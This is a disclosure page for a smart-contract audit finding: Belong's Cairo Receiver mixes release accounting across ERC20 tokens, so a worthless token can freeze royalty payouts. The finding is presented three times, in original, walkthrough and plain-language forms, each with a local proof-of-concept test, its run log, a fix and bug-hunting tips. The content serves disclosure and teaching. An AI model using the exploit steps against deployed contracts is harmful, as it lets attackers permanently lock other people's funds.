Skip to content
DoS Audit finding Intermediate

Cross token accounting in receiver allows permanent freezing of erc20 royalty payouts

The Receiver contract tracks total released amounts globally rather than per ERC20 token, so inflating totals with a worthless token causes releases of a valuable token to compute an oversized amount that exceeds the contract's balance and reverts. An attacker can permanently freeze unclaimed royalties in the valuable token.

Belong

Originally disclosed on Immunefi

57676 sc high cross token accounting in receiver allows permanent freezing of erc20 royalty payouts

Description

Issue description

The Receiver contract mixes accounting across different ERC20 tokens when calculating pending payments, because total_released and released are global (not keyed by payment_token). As a result, inflating totals with a worthless ERC20 skews the computation for a valuable ERC20, causing oversized to_release amounts that exceed the Receiver’s balance in that valuable token and revert transfers.

Relevant excerpt from the code: https://github.com/immunefi-team/audit-comp-belong//blob/a17f775dcc4c125704ce85d4e18b744daece65af/src/receiver/receiver.cairo#L28-L31

CAIRO
// src/receiver/receiver.cairo

#[storage]
struct Storage {
    payees: Vec<ContractAddress>,
    shares: Map<ContractAddress, u16>,
    total_released: u256,                         // BUG: not keyed by payment_token
    released: Map<ContractAddress, u256>,         // BUG: not keyed by payment_token
}

fn _release(
    ref self: ContractState, payment_token: ContractAddress, to: ContractAddress,
) -> u256 {
    let token = IERC20Dispatcher { contract_address: payment_token };

    let total_released = self.total_released.read();       // uses global total
    let released = self.released.read(to);                 // uses global per-payee

    let to_release = self
        ._pending_payment(
            to, token.balance_of(get_contract_address()) + total_released, released,
        );

    if to_release == 0 { return 0; }

    self.released.write(to, released + to_release);
    self.total_released.write(total_released + to_release);

    token.transfer(to, to_release);                        // reverts if balance insufficient

    ...
}

Because total_released and released are not tracked per token, the arithmetic blends “units” from multiple ERC20s. An attacker can:

  • Mint a huge amount of their own ERC20 W to the Receiver.
  • Call release(W, payee) (anyone can call release as long as to is a valid payee).

This inflates global totals in W units. Later, releasing a valuable ERC20 A computes a very large to_release in A units, exceeding A balance and causing transfer to revert.

Impact

High — Permanent freezing of unclaimed royalties.

Releases in the valuable token can be permanently blocked after inflating global totals with a worthless token. Unblocking would require funding the Receiver with an equivalently huge amount of the valuable token, which is impractical, so affected royalties become effectively permanently frozen. No direct theft is required. This is effectively a DoS on payouts.

{% hint style="info" %} This vulnerability stems from using global release accounting for multiple distinct ERC20 tokens. Accounting must be scoped per payment token to avoid mixing units. {% endhint %}

Recommended mitigation steps

  • Replace global accounting with per-token tracking:
    • total_released_by_token: Map<ContractAddress, u256>
    • released_by_token: Map<(ContractAddress, ContractAddress), u256> (keyed by (payment_token, payee))
  • Update getters and interface:
    • totalReleased(payment_token: ContractAddress) -> u256
    • released(payment_token: ContractAddress, account: ContractAddress) -> u256
  • Compute pending payment with per-token totals only:
    • to_release = f(token.balance_of(receiver) + total_released_by_token[token], released_by_token[(token, to)], shares[to])

Proof of Concept

The following PoC demonstrates how inflating global totals with a worthless token causes a release of a valuable token to compute an oversized to_release and fail due to insufficient balance.

<details> <summary>PoC test (test_poc.cairo)</summary>
CAIRO
tuse starknet::{ContractAddress, contract_address_const};
use snforge_std::{declare, ContractClassTrait, DeclareResultTrait};
use crate::erc20::interface::{IERC20Dispatcher, IERC20DispatcherTrait};
use crate::receiver::interface::{IReceiverDispatcher, IReceiverDispatcherTrait};

#[test]
#[should_panic]
fn test_cross_token_dos_on_valuable_release() {
    // Declare contract classes
    let receiver_class = declare("Receiver").unwrap().contract_class();
    let erc20_class = declare("ERC20Mock").unwrap().contract_class();

    // Deploy contracts
    let (receiver, _) = receiver_class.deploy(@array![]).unwrap();
    let (token_a, _) = erc20_class.deploy(@array![]).unwrap();
    let (token_w, _) = erc20_class.deploy(@array![]).unwrap();

    // Mint a huge amount of worthless token W to the Receiver and release to a payee
    IERC20Dispatcher { contract_address: token_w }.mint(receiver, 1_000_000);

    let receiver_disp = IReceiverDispatcher { contract_address: receiver };
    let creator = contract_address_const::<1>();
    let platform = contract_address_const::<2>();

    // First release with token W to inflate global totals
    receiver_disp.release(token_w, platform);

    // Now mint a small amount of valuable token A to the Receiver
    IERC20Dispatcher { contract_address: token_a }.mint(receiver, 100);

    // Attempting to release A to the creator will compute a huge to_release amount
    // and the ERC20 transfer will fail with insufficient balance, causing panic
    receiver_disp.release(token_a, creator);
}
</details> <details> <summary>ERC20 mock used for PoC (erc20mock.cairo)</summary>
CAIRO
// Minimal ERC20 mock sufficient for PoC
#[starknet::contract]
pub mod ERC20Mock {
    use starknet::{ContractAddress, get_caller_address};
    use starknet::storage::{Map, StorageMapReadAccess, StorageMapWriteAccess};
    use crate::erc20::interface::{IERC20, IERC20Dispatcher, IERC20DispatcherTrait};

    #[storage]
    struct Storage {
        balances: Map<ContractAddress, u256>,
    }

    #[abi(embed_v0)]
    impl IERC20Impl of IERC20<ContractState> {
        fn balance_of(self: @ContractState, account: ContractAddress) -> u256 {
            self.balances.read(account)
        }

        fn transfer(ref self: ContractState, to: ContractAddress, amount: u256) {
            let from = get_caller_address();
            let from_bal = self.balances.read(from);
            assert(from_bal >= amount, 'Insufficient balance');
            self.balances.write(from, from_bal - amount);
            let to_bal = self.balances.read(to);
            self.balances.write(to, to_bal + amount);
        }

        fn mint(ref self: ContractState, recipient: ContractAddress, amount: u256) {
            let bal = self.balances.read(recipient);
            self.balances.write(recipient, bal + amount);
        }
    }
}
</details>

Running the PoC

Run the test with:

snforge test

Logs from the test run

Collected 1 test(s) from receiver_poc package
Running 1 test(s) from src/
[PASS] receiver_poc::tests::test_poc::test_cross_token_dos_on_valuable_release (l1_gas: ~0, l1_data_gas: ~1344, l2_gas: ~2316250)
Tests: 1 passed, 0 failed, 0 ignored, 0 filtered out

The PASS indicates the expected panic (DoS condition) occurred during release(A, creator).

References

The original report as published on Immunefi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

The target is the Receiver contract of the Belong project, written in Cairo for Starknet. The file under review is src/receiver/receiver.cairo. The contract holds royalty payouts for a set of payees, each with a share, and lets anyone trigger a release of a given ERC20 payment token to a payee. The amount a payee receives is derived from their share and from how much of that token has already been released.

The report was submitted on Oct 28th 2025 at 04:36:11 UTC by @Rhaydden for the Audit Comp | Belong, report ID #57676, severity High, with the impact listed as permanent freezing of unclaimed royalties.

Setup

The proof of concept is a Cairo test run with snforge. It declares and deploys the Receiver contract and two instances of an ERC20Mock: one standing in for a valuable token A and one for a worthless token W. Payees are created with contract_address_const::<1>() (the creator) and contract_address_const::<2>() (the platform). No external accounts, network access or special privileges are needed: the report notes that anyone can call release as long as to is a valid payee.

Finding it

The release accounting in the Receiver is global rather than scoped to a payment token:

CAIRO
// src/receiver/receiver.cairo

#[storage]
struct Storage {
    payees: Vec<ContractAddress>,
    shares: Map<ContractAddress, u16>,
    total_released: u256,                         // BUG: not keyed by payment_token
    released: Map<ContractAddress, u256>,         // BUG: not keyed by payment_token
}

total_released is a single u256 and released is keyed only by payee. Neither is keyed by payment_token. In _release, those global values are fed into the pending payment calculation together with the balance of the token being released:

CAIRO
fn _release(
    ref self: ContractState, payment_token: ContractAddress, to: ContractAddress,
) -> u256 {
    let token = IERC20Dispatcher { contract_address: payment_token };

    let total_released = self.total_released.read();       // uses global total
    let released = self.released.read(to);                 // uses global per-payee

    let to_release = self
        ._pending_payment(
            to, token.balance_of(get_contract_address()) + total_released, released,
        );

    if to_release == 0 { return 0; }

    self.released.write(to, released + to_release);
    self.total_released.write(total_released + to_release);

    token.transfer(to, to_release);                        // reverts if balance insufficient

    ...
}

Because the totals are not tracked per token, the arithmetic blends units from different ERC20s. A release in one token changes the numbers used when releasing another, which is the core of the bug.

Exploitation

Step 1: inflate the global totals with a worthless token

The attacker mints a large amount of their own ERC20 W to the Receiver and calls release(W, payee). This is permitted because anyone can call release as long as to is a valid payee. The release of W writes the released amount into the global total_released and into released[payee], in W units.

Step 2: release the valuable token

Later, a release of a valuable ERC20 A reads those same global totals. The pending payment is computed as if the already-released amount were denominated in A, producing a very large to_release in A units. That amount exceeds the Receiver balance in A, so token.transfer(to, to_release) reverts.

Step 3: the PoC

The report provides a test that reproduces the sequence. It is marked #[should_panic], so a passing run means the expected revert occurred.

CAIRO
tuse starknet::{ContractAddress, contract_address_const};
use snforge_std::{declare, ContractClassTrait, DeclareResultTrait};
use crate::erc20::interface::{IERC20Dispatcher, IERC20DispatcherTrait};
use crate::receiver::interface::{IReceiverDispatcher, IReceiverDispatcherTrait};

#[test]
#[should_panic]
fn test_cross_token_dos_on_valuable_release() {
    // Declare contract classes
    let receiver_class = declare("Receiver").unwrap().contract_class();
    let erc20_class = declare("ERC20Mock").unwrap().contract_class();

    // Deploy contracts
    let (receiver, _) = receiver_class.deploy(@array![]).unwrap();
    let (token_a, _) = erc20_class.deploy(@array![]).unwrap();
    let (token_w, _) = erc20_class.deploy(@array![]).unwrap();

    // Mint a huge amount of worthless token W to the Receiver and release to a payee
    IERC20Dispatcher { contract_address: token_w }.mint(receiver, 1_000_000);

    let receiver_disp = IReceiverDispatcher { contract_address: receiver };
    let creator = contract_address_const::<1>();
    let platform = contract_address_const::<2>();

    // First release with token W to inflate global totals
    receiver_disp.release(token_w, platform);

    // Now mint a small amount of valuable token A to the Receiver
    IERC20Dispatcher { contract_address: token_a }.mint(receiver, 100);

    // Attempting to release A to the creator will compute a huge to_release amount
    // and the ERC20 transfer will fail with insufficient balance, causing panic
    receiver_disp.release(token_a, creator);
}

The test deploys the Receiver and the two mock tokens, mints 1_000_000 of W to the receiver, releases W to the platform payee to inflate the global totals, mints 100 of A to the receiver, and then attempts release(A, creator). The final call is expected to panic because the computed to_release in A exceeds the receiver's A balance.

The mock token used by the test is minimal and only implements what the PoC needs:

CAIRO
// Minimal ERC20 mock sufficient for PoC
#[starknet::contract]
pub mod ERC20Mock {
    use starknet::{ContractAddress, get_caller_address};
    use starknet::storage::{Map, StorageMapReadAccess, StorageMapWriteAccess};
    use crate::erc20::interface::{IERC20, IERC20Dispatcher, IERC20DispatcherTrait};

    #[storage]
    struct Storage {
        balances: Map<ContractAddress, u256>,
    }

    #[abi(embed_v0)]
    impl IERC20Impl of IERC20<ContractState> {
        fn balance_of(self: @ContractState, account: ContractAddress) -> u256 {
            self.balances.read(account)
        }

        fn transfer(ref self: ContractState, to: ContractAddress, amount: u256) {
            let from = get_caller_address();
            let from_bal = self.balances.read(from);
            assert(from_bal >= amount, 'Insufficient balance');
            self.balances.write(from, from_bal - amount);
            let to_bal = self.balances.read(to);
            self.balances.write(to, to_bal + amount);
        }

        fn mint(ref self: ContractState, recipient: ContractAddress, amount: u256) {
            let bal = self.balances.read(recipient);
            self.balances.write(recipient, bal + amount);
        }
    }
}

Step 4: run the test

The PoC is run with:

Bash
snforge test

The run reports one collected test and the following log:

Text
Collected 1 test(s) from receiver_poc package
Running 1 test(s) from src/
[PASS] receiver_poc::tests::test_poc::test_cross_token_dos_on_valuable_release (l1_gas: ~0, l1_data_gas: ~1344, l2_gas: ~2316250)
Tests: 1 passed, 0 failed, 0 ignored, 0 filtered out

The PASS indicates the expected panic (the DoS condition) occurred during release(A, creator).

Root cause

The Receiver uses a single global total_released counter and a per-payee released map that is not keyed by payment_token. The pending payment calculation therefore adds the receiver's balance in the token being released to a total that may have been accumulated in a different token, and subtracts a per-payee released amount that may also be in a different token. The units are mixed, so a large release in a worthless token inflates the computed to_release for a valuable token beyond what the receiver actually holds, and the transfer reverts.

The report frames this as a design flaw in the accounting rather than a missing check: the vulnerability stems from using global release accounting for multiple distinct ERC20 tokens, and accounting must be scoped per payment token to avoid mixing units.

Impact

High: permanent freezing of unclaimed royalties. Releases in the valuable token can be permanently blocked after the global totals are inflated with a worthless token. Unblocking would require funding the Receiver with an equivalently huge amount of the valuable token, which the report calls impractical, so the affected royalties become effectively permanently frozen. No direct theft is required; the effect is a denial of service on payouts.

Fix

The report recommends replacing the global accounting with per-token tracking:

  • total_released_by_token: Map<ContractAddress, u256>
  • released_by_token: Map<(ContractAddress, ContractAddress), u256>, keyed by (payment_token, payee)

It also recommends updating the getters and interface:

  • totalReleased(payment_token: ContractAddress) -> u256
  • released(payment_token: ContractAddress, account: ContractAddress) -> u256

And computing the pending payment with per-token totals only:

  • to_release = f(token.balance_of(receiver) + total_released_by_token[token], released_by_token[(token, to)], shares[to])

Variants to test

  • Any contract that aggregates balances or released amounts across multiple ERC20 tokens: check whether the totals are keyed by token. A positive result is a release in one token changing the computed amount for another.
  • Payout or royalty contracts where anyone can trigger a release to a valid payee: check whether an attacker can inflate shared counters with a token they control. A positive result is a later release in a valuable token reverting on insufficient balance.
  • Contracts that accept arbitrary ERC20 addresses as payment tokens: check whether a worthless or attacker-minted token can be used to move global state. A positive result is a state change in shared accounting caused by a token the attacker fully controls.

Hunting notes

This kind of bug tends to hide in accounting code that was written for a single asset and later generalised to many, especially where a Map is keyed by payee but not by token. During review, look for storage variables named like total_released or released and check their key structure against the set of assets the contract supports. Also check who can call release functions: if any caller can trigger a release to a valid payee, an attacker can drive the shared counters without holding the valuable asset.

That demonstrates the DoS condition directly without needing a live deployment.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Belong is a project that pays royalties to people. A royalty is money that goes to a creator when their work is used or sold. In this project the money is not held by a bank but by a small program on a blockchain called a smart contract. The contract in question is named Receiver, and its job is to hold royalty money and hand it out to the people who are owed it.

A smart contract is a program that lives on a blockchain. A blockchain is a shared record book that many computers keep copies of, so nobody can quietly change the past. Once a contract is deployed, its code runs exactly as written, and anyone in the world can send it instructions. That is powerful, but it also means a mistake in the code is visible and reachable by everyone.

The Receiver contract is written in Cairo, a programming language used for Starknet, which is one kind of blockchain network. The file under review is src/receiver/receiver.cairo.

The contract keeps a list of payees (people who should be paid) and a share for each one (what fraction of the pot they get). It also accepts payments in different digital currencies, called ERC20 tokens. An ERC20 token is a standard kind of digital currency on a blockchain: it has a balance for each holder and a transfer function to move amounts between holders. Think of each token as a separate currency, like pounds and yen: one unit of one is not the same as one unit of the other.

The contract lets anyone trigger a release: a payout of a chosen token to a chosen payee. The amount a payee receives is worked out from their share and from how much of that token has already been released.

The researcher found that the contract keeps its running totals of "how much has been released" in one shared place, without noting which token each amount belonged to. That means a release in one token changes the numbers used when releasing another. An attacker can use a token they create themselves, worth nothing, to push those shared totals up very high. Later, when someone tries to release a valuable token, the contract calculates a payout far bigger than the amount it actually holds, and the transfer fails. Because the shared totals stay inflated, every later attempt fails too. The royalties in the valuable token are stuck: permanently frozen.

The report was submitted on Oct 28th 2025 at 04:36:11 UTC by @Rhaydden for the Audit Comp | Belong, report ID #57676, severity High, with the impact listed as permanent freezing of unclaimed royalties.

Context

The target is the Receiver contract of the Belong project, written in Cairo for Starknet. The contract holds royalty payouts for a set of payees, each with a share, and lets anyone trigger a release of a given ERC20 payment token to a payee. The amount a payee receives is derived from their share and from how much of that token has already been released.

A few words that will come up again:

  • A payee is someone the contract owes money to.
  • A share is the fraction of the pot that payee is entitled to.
  • A payment token is the ERC20 currency being paid out. The contract can handle several different ones.
  • A release is the act of paying a payee their portion.

Setup

The proof of concept is a Cairo test run with snforge. A proof of concept (PoC) is a small, self-contained demonstration that a bug is real: instead of describing the problem in words, you write code that triggers it and watch it happen. snforge is a tool that runs Cairo tests on your own computer, without touching a real blockchain. That matters because it means the demonstration is safe, repeatable and needs no money.

The test declares and deploys the Receiver contract and two instances of an ERC20Mock. A mock is a simplified stand-in for something real, like a cardboard cut-out used in a rehearsal. Here one mock stands in for a valuable token A and one for a worthless token W. Payees are created with contract_address_const::<1>() (the creator) and contract_address_const::<2>() (the platform). These are just fixed placeholder addresses, not real accounts.

No external accounts, network access or special privileges are needed: the report notes that anyone can call release as long as to is a valid payee. That last point is the key to the whole attack. If only an administrator could trigger releases, an outsider could not drive the shared counters. Because anyone can, an outsider can.

Finding it

The release accounting in the Receiver is global rather than scoped to a payment token. Storage is the part of a contract that remembers things between calls, like a notebook the program writes in. The layout is how those notes are organised: which names exist and what each one holds.

CAIRO
// src/receiver/receiver.cairo

#[storage]
struct Storage {
    payees: Vec<ContractAddress>,
    shares: Map<ContractAddress, u16>,
    total_released: u256,                         // BUG: not keyed by payment_token
    released: Map<ContractAddress, u256>,         // BUG: not keyed by payment_token
}

Line by line:

  • #[storage] marks the block below as the contract's permanent notebook.
  • payees: Vec<ContractAddress> is a list of addresses that should be paid. ContractAddress is the type for an address on Starknet.
  • shares: Map<ContractAddress, u16> is a lookup table from a payee address to a small number (u16), their share. A Map works like a dictionary: you give it a key and it gives you a value.
  • total_released: u256 is one single number (u256 is a large unsigned integer) recording how much has been released in total. There is only one of these for the whole contract.
  • released: Map<ContractAddress, u256> is a lookup table from a payee address to how much that payee has already received.

The two comments mark the problem: neither total_released nor released is keyed by payment_token. "Keyed by" means the lookup includes the token as part of the key, so that each token gets its own separate entry. Here there is one shared total and one shared per-payee figure, no matter which currency is involved.

In _release, those global values are fed into the pending payment calculation together with the balance of the token being released:

CAIRO
fn _release(
    ref self: ContractState, payment_token: ContractAddress, to: ContractAddress,
) -> u256 {
    let token = IERC20Dispatcher { contract_address: payment_token };

    let total_released = self.total_released.read();       // uses global total
    let released = self.released.read(to);                 // uses global per-payee

    let to_release = self
        ._pending_payment(
            to, token.balance_of(get_contract_address()) + total_released, released,
        );

    if to_release == 0 { return 0; }

    self.released.write(to, released + to_release);
    self.total_released.write(total_released + to_release);

    token.transfer(to, to_release);                        // reverts if balance insufficient

    ...
}

Line by line:

  • fn _release(...) defines a function that takes the contract's own state (ref self), the token to pay in (payment_token) and the payee (to), and returns a number.
  • let token = IERC20Dispatcher { contract_address: payment_token }; builds a handle to the token contract at that address. A dispatcher is a small wrapper that lets this contract call functions on another contract, like a phone number you dial to reach someone.
  • let total_released = self.total_released.read(); reads the single shared total. This is the first place where the token is ignored.
  • let released = self.released.read(to); reads how much this payee has already received, again without asking which token.
  • let to_release = self._pending_payment(to, token.balance_of(get_contract_address()) + total_released, released); works out the payout. It passes the payee, the contract's current balance in this token plus the shared total, and the payee's shared released figure. get_contract_address() is the contract's own address, so balance_of asks the token how much the contract holds.
  • if to_release == 0 { return 0; } stops early if there is nothing to pay.
  • self.released.write(to, released + to_release); and self.total_released.write(total_released + to_release); update the shared counters. Note that the amount added is in the units of whichever token was just released.
  • token.transfer(to, to_release); sends the money. The comment notes it reverts if the balance is insufficient. To revert means to cancel the whole operation and undo its effects, like a cashier refusing a card payment.

Because the totals are not tracked per token, the arithmetic blends units from different ERC20s. A release in one token changes the numbers used when releasing another, which is the core of the bug. A simple comparison: imagine a jar labelled "money released" where you drop in 1,000,000 yen and later try to pay out the same number in pounds. The count says a million, but the pounds in the drawer are nowhere near that.

Exploitation

Step 1: inflate the global totals with a worthless token

The attacker mints a large amount of their own ERC20 W to the Receiver and calls release(W, payee). To mint is to create new units of a token; on a token the attacker wrote themselves, they can mint as much as they like, and it costs nothing. This is permitted because anyone can call release as long as to is a valid payee. The release of W writes the released amount into the global total_released and into released[payee], in W units.

Why this step matters: the attacker is not stealing anything here. They are simply pushing a shared counter up to a huge number using a currency they control completely.

Step 2: release the valuable token

Later, a release of a valuable ERC20 A reads those same global totals. The pending payment is computed as if the already-released amount were denominated in A, producing a very large to_release in A units. That amount exceeds the Receiver balance in A, so token.transfer(to, to_release) reverts.

Why this step matters: the contract now believes it owes an enormous amount of A, far more than it holds. The transfer cannot succeed, so the payout fails. And because the shared totals were never reset, every future attempt fails the same way.

Step 3: the PoC

The report provides a test that reproduces the sequence. It is marked #[should_panic], so a passing run means the expected revert occurred. In test frameworks, a panic is a deliberate crash; marking a test as "should panic" tells the runner that the crash is the desired outcome.

CAIRO
tuse starknet::{ContractAddress, contract_address_const};
use snforge_std::{declare, ContractClassTrait, DeclareResultTrait};
use crate::erc20::interface::{IERC20Dispatcher, IERC20DispatcherTrait};
use crate::receiver::interface::{IReceiverDispatcher, IReceiverDispatcherTrait};

#[test]
#[should_panic]
fn test_cross_token_dos_on_valuable_release() {
    // Declare contract classes
    let receiver_class = declare("Receiver").unwrap().contract_class();
    let erc20_class = declare("ERC20Mock").unwrap().contract_class();

    // Deploy contracts
    let (receiver, _) = receiver_class.deploy(@array![]).unwrap();
    let (token_a, _) = erc20_class.deploy(@array![]).unwrap();
    let (token_w, _) = erc20_class.deploy(@array![]).unwrap();

    // Mint a huge amount of worthless token W to the Receiver and release to a payee
    IERC20Dispatcher { contract_address: token_w }.mint(receiver, 1_000_000);

    let receiver_disp = IReceiverDispatcher { contract_address: receiver };
    let creator = contract_address_const::<1>();
    let platform = contract_address_const::<2>();

    // First release with token W to inflate global totals
    receiver_disp.release(token_w, platform);

    // Now mint a small amount of valuable token A to the Receiver
    IERC20Dispatcher { contract_address: token_a }.mint(receiver, 100);

    // Attempting to release A to the creator will compute a huge to_release amount
    // and the ERC20 transfer will fail with insufficient balance, causing panic
    receiver_disp.release(token_a, creator);
}

Line by line:

  • The use lines import the pieces the test needs: address types, the test tooling, and the interfaces for the token and the receiver. An interface is the list of functions a contract offers, like a menu.
  • #[test] marks the function as a test. #[should_panic] says the test passes only if the code crashes.
  • declare("Receiver") and declare("ERC20Mock") load the compiled contract code so it can be deployed. To deploy is to put a fresh copy of a contract on the (test) chain at its own address.
  • The three deploy calls create the receiver and the two mock tokens, token_a and token_w.
  • mint(receiver, 1_000_000) creates one million units of the worthless token W and gives them to the receiver.
  • receiver_disp is a handle for calling the receiver. creator and platform are the two payee addresses.
  • receiver_disp.release(token_w, platform) performs the first release, in W, to the platform payee. This is the inflation step.
  • mint(receiver, 100) gives the receiver a small amount, 100 units, of the valuable token A.
  • receiver_disp.release(token_a, creator) attempts to pay the creator in A. This is the call expected to crash.

The test deploys the Receiver and the two mock tokens, mints 1_000_000 of W to the receiver, releases W to the platform payee to inflate the global totals, mints 100 of A to the receiver, and then attempts release(A, creator). The final call is expected to panic because the computed to_release in A exceeds the receiver's A balance.

The mock token used by the test is minimal and only implements what the PoC needs:

CAIRO
// Minimal ERC20 mock sufficient for PoC
#[starknet::contract]
pub mod ERC20Mock {
    use starknet::{ContractAddress, get_caller_address};
    use starknet::storage::{Map, StorageMapReadAccess, StorageMapWriteAccess};
    use crate::erc20::interface::{IERC20, IERC20Dispatcher, IERC20DispatcherTrait};

    #[storage]
    struct Storage {
        balances: Map<ContractAddress, u256>,
    }

    #[abi(embed_v0)]
    impl IERC20Impl of IERC20<ContractState> {
        fn balance_of(self: @ContractState, account: ContractAddress) -> u256 {
            self.balances.read(account)
        }

        fn transfer(ref self: ContractState, to: ContractAddress, amount: u256) {
            let from = get_caller_address();
            let from_bal = self.balances.read(from);
            assert(from_bal >= amount, 'Insufficient balance');
            self.balances.write(from, from_bal - amount);
            let to_bal = self.balances.read(to);
            self.balances.write(to, to_bal + amount);
        }

        fn mint(ref self: ContractState, recipient: ContractAddress, amount: u256) {
            let bal = self.balances.read(recipient);
            self.balances.write(recipient, bal + amount);
        }
    }
}

Line by line:

  • #[starknet::contract] marks this module as a contract. pub mod ERC20Mock names it.
  • struct Storage { balances: Map<ContractAddress, u256>, } is the whole notebook: one lookup table from an address to that address's balance.
  • #[abi(embed_v0)] exposes the functions below to outside callers. An ABI is the public description of how to call a contract.
  • balance_of simply reads and returns the balance for an address.
  • transfer reads who is calling (get_caller_address()), checks they have at least amount with assert, subtracts from the sender and adds to the recipient. The assert is what produces the "Insufficient balance" failure when the receiver tries to send more than it holds.
  • mint adds new units to any address, with no permission check. That is fine for a mock and is exactly what lets the attacker create unlimited W.

Step 4: run the test

The PoC is run with:

Bash
snforge test

This command tells the test tool to find the tests in the project and run them. The run reports one collected test and the following log:

Text
Collected 1 test(s) from receiver_poc package
Running 1 test(s) from src/
[PASS] receiver_poc::tests::test_poc::test_cross_token_dos_on_valuable_release (l1_gas: ~0, l1_data_gas: ~1344, l2_gas: ~2316250)
Tests: 1 passed, 0 failed, 0 ignored, 0 filtered out

The PASS indicates the expected panic (the DoS condition) occurred during release(A, creator). DoS stands for denial of service: the system still runs, but the thing you want to do cannot be done.

Root cause

The Receiver uses a single global total_released counter and a per-payee released map that is not keyed by payment_token. The pending payment calculation therefore adds the receiver's balance in the token being released to a total that may have been accumulated in a different token, and subtracts a per-payee released amount that may also be in a different token. The units are mixed, so a large release in a worthless token inflates the computed to_release for a valuable token beyond what the receiver actually holds, and the transfer reverts.

The report frames this as a design flaw in the accounting rather than a missing check: the vulnerability stems from using global release accounting for multiple distinct ERC20 tokens, and accounting must be scoped per payment token to avoid mixing units. "Scoped per token" means each token gets its own separate set of counters, so one currency can never influence another.

Impact

High: permanent freezing of unclaimed royalties. Releases in the valuable token can be permanently blocked after the global totals are inflated with a worthless token. Unblocking would require funding the Receiver with an equivalently huge amount of the valuable token, which the report calls impractical, so the affected royalties become effectively permanently frozen. No direct theft is required; the effect is a denial of service on payouts.

In everyday terms: nobody takes the money, but nobody can get it out either. The money sits in the contract, visible, and every attempt to pay it out fails.

Fix

The report recommends replacing the global accounting with per-token tracking:

  • total_released_by_token: Map<ContractAddress, u256>
  • released_by_token: Map<(ContractAddress, ContractAddress), u256>, keyed by (payment_token, payee)

The first gives each token its own total. The second gives each combination of token and payee its own released figure, so a payout in one currency never touches the numbers for another.

It also recommends updating the getters and interface. A getter is a function that just reads and returns a value:

  • totalReleased(payment_token: ContractAddress) -> u256
  • released(payment_token: ContractAddress, account: ContractAddress) -> u256

Both now take the token as an argument, so callers must say which currency they mean.

And computing the pending payment with per-token totals only:

  • to_release = f(token.balance_of(receiver) + total_released_by_token[token], released_by_token[(token, to)], shares[to])

Here f stands for the existing pending payment formula. The point is that every input is looked up for the specific token, so the units always match.

Variants to test

These are patterns to look for elsewhere, so the same class of mistake can be found before it is exploited:

  • Any contract that aggregates balances or released amounts across multiple ERC20 tokens: check whether the totals are keyed by token. A positive result is a release in one token changing the computed amount for another.
  • Payout or royalty contracts where anyone can trigger a release to a valid payee: check whether an attacker can inflate shared counters with a token they control. A positive result is a later release in a valuable token reverting on insufficient balance.
  • Contracts that accept arbitrary ERC20 addresses as payment tokens: check whether a worthless or attacker-minted token can be used to move global state. A positive result is a state change in shared accounting caused by a token the attacker fully controls.

Hunting notes

This kind of bug tends to hide in accounting code that was written for a single asset and later generalised to many, especially where a Map is keyed by payee but not by token. During review, look for storage variables named like total_released or released and check their key structure against the set of assets the contract supports. Also check who can call release functions: if any caller can trigger a release to a valid payee, an attacker can drive the shared counters without holding the valuable asset.

That demonstrates the DoS condition directly without needing a live deployment.

Glossary

  • Smart contract: a program stored on a blockchain that runs exactly as written and can be called by anyone.
  • Blockchain: a shared record book kept by many computers, designed so past entries cannot be quietly changed.
  • Cairo: the programming language used to write smart contracts for Starknet.
  • Starknet: a blockchain network where Cairo contracts run.
  • Contract address: the identifier of a contract or account on the network, like a street address.
  • ERC20 token: a standard kind of digital currency on a blockchain, with balances and a transfer function.
  • Payment token: the particular ERC20 currency being paid out in a given release.
  • Receiver: the Belong contract that holds royalty money and pays it out.
  • Royalty: money owed to a creator when their work is used or sold.
  • Payee: someone the contract owes money to.
  • Share: the fraction of the pot a payee is entitled to.
  • Release: the act of paying a payee their portion.
  • Storage: the part of a contract that remembers values between calls.
  • Keyed by: included in the lookup key, so each distinct value (such as each token) gets its own separate entry.
  • Map: a lookup table from a key to a value, like a dictionary.
  • u16 / u256: unsigned integer types of different sizes; u256 can hold very large numbers.
  • Dispatcher: a wrapper that lets one contract call functions on another contract at a given address.
  • Interface: the list of functions a contract offers to callers.
  • ABI: the public description of how to call a contract's functions.
  • Getter: a function that only reads and returns a value.
  • Transfer: the ERC20 function that moves an amount of a token from one holder to another.
  • Revert: to cancel an operation and undo its effects, usually because a check failed.
  • Panic: a deliberate crash in a program; in tests, an expected one can be marked with #[should_panic].
  • Mint: to create new units of a token.
  • Mock: a simplified stand-in for a real component, used in testing.
  • Proof of concept (PoC): a small, self-contained demonstration that a bug is real.
  • snforge: a tool for running Cairo tests locally.
  • DoS (denial of service): a condition where a system still runs but a wanted action cannot be completed.
  • Permanent freezing: funds that remain in place but can never be paid out.
  • Global accounting: keeping one shared set of totals for everything, instead of separate totals per asset.
  • Scoped per token: keeping separate totals for each token so units never mix.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.